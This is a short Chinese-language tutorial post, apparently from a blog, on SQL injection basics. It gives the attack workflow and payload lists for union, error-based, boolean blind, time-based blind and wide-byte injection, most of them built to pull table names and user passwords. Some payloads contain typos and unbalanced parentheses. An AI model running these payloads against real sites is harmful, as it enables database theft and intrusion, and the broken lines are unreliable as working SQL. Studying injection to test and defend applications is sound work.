0x01,SQL注入原理介绍
当web应用向后台数据库传递SQL语句时。如果对用户输入的内容没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入到数据库中去执行,获取或者修改数据库中的数据。
0x02,SQL注入产生关键条件
用户控制输出内容
web应用把用户输入的内容带入到数据库中执行
0x03,SQL注入危害
获取网站数据库里的数据
获取网站控制权限
获取服务器控制权限
0x04,SQL注入分类
01根据请求方式不同:
GET方法;POST方法
02根据SQL注入点的参数可以分为:
整数型输入
字符型注入
搜索型注入
03根据SQL注入点反馈类型可以分为如下几类:
union注入
基于错误显示的SQL注入
布尔类型注入
基于时间注入
其他类型注入
04根据web常用数据库类型分类:
MYSQL数据库注入
SQLServer数据库注入
Oracle数据库注入
Access数据库注入
0x05,SQL注入基本流程
01判断是否有注入漏洞,识别注入点类型
02获取数据库基本信息
03获取数据库名
04获取表名
05获取列名
06获取数据
07破解数据
08提升权限
09内网渗透
0x06,union注入流程
01判断注入点是否存在,判断注入点类型
1’ and 1=1#
1’ and 1=2#
1’ or ‘1’=‘1
1’ or ‘1’=‘2
02判断有多少列
order by 1#
order by 2#
orderby n#(n代表数字)
03union联合查询,判断显示点
1‘ union select 1,2,3#
04利用显示点获取SQl语句执行结果
1’ union select version(),user()#
05查看数据库那些表
1‘ union select1,table_name from information_schema.tables where table_schema=‘database()’
06查看对应表有哪些列
1’ unionselect1,column_name from information_schema.columns where tables_name=‘表名’#
07查看账号密码信息
1’union select1 ,concat(user,password)from users#(users为表名)
1’ union select 1,concat_ws(’_’,user,password) from users#
08破解账号密码信息
MD5加密
0x07,盲注之报错注入
01查看数据库名字
1’ and extractvalue(1,concat(0x7e,(select database)),0x7e))#
02查看数据库有多少个表
1’ and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where tables_schema=database()),0x7e))#
03查看数据库有哪些表
1’ and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e))#
04查看表里面有多少列查看表里面有哪些列
1’ and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table schema=database() and table name=‘users’ limit 0,1),0x7e))#
05查看表里面的数据
1’ and extractvalue(1,concat(0x7e,(select group_concat(user,’**’.password) from users),0x7e))#
1’ and extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e))#
06将查询出的数据分段显示
1’ and extractvalue(1,concat(0x7e,(substr((select password from users limit 0,1),17,32)),0x7e))#
0x08,布尔盲注
01先得到数据库名的长度
and (length(database())>5)#
and (length(database())=4)#
02改变n和m的值依次获取数据库名的字符
and (ascii(substr(database(),n,1))>m
03获取数据库表名(先获取表名数量,再获取表名长度
and (select count(*) from information_schema.tables where table_schema=database())>5#
and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5#
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100#
04获取列名(先获取列名个数,再获取列名长度,最后获取列名)
and (ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1)))>100#
05获取数据
and (ascii(substr(( select password from users limit 0,1),1,1)))=68
0x09,时间盲注
01先得到数据库名的长度
and if((length(database())>5),sleep(5),0)#
and if((length(database())=4),sleep(5),0)#
02改变n和m的值依次获取数据库名的字符
and if((ascii(substr(database(),n,1)))>m,sleep(5),0)#
03获取数据库表名(同理先获取长度)
and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))> 100,sleep(5),0)#
04获取列名
and if((ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1)))>100,sleep(5),0)#
05获取数据
and if ((ascii(substr(( select password from users limit 0,1),1,1)))=68,sleep(5),0)#
0x10,宽字节注入
原理:在使用PHP连接数据库的时候,当设置set character_set_client=gbk时会导致一个编码转换注入问题,也就是宽字节注入。到底如何实现的呢?当存在宽字节注入漏洞时,在注入的参数里加入%df%27,即可把程序中过滤的""(即%5c)“吃掉”
--------------------------------------------新手–大佬务喷--------------------------------------------------
SQL注入基础
最新推荐文章于 2020-07-10 18:06:52 发布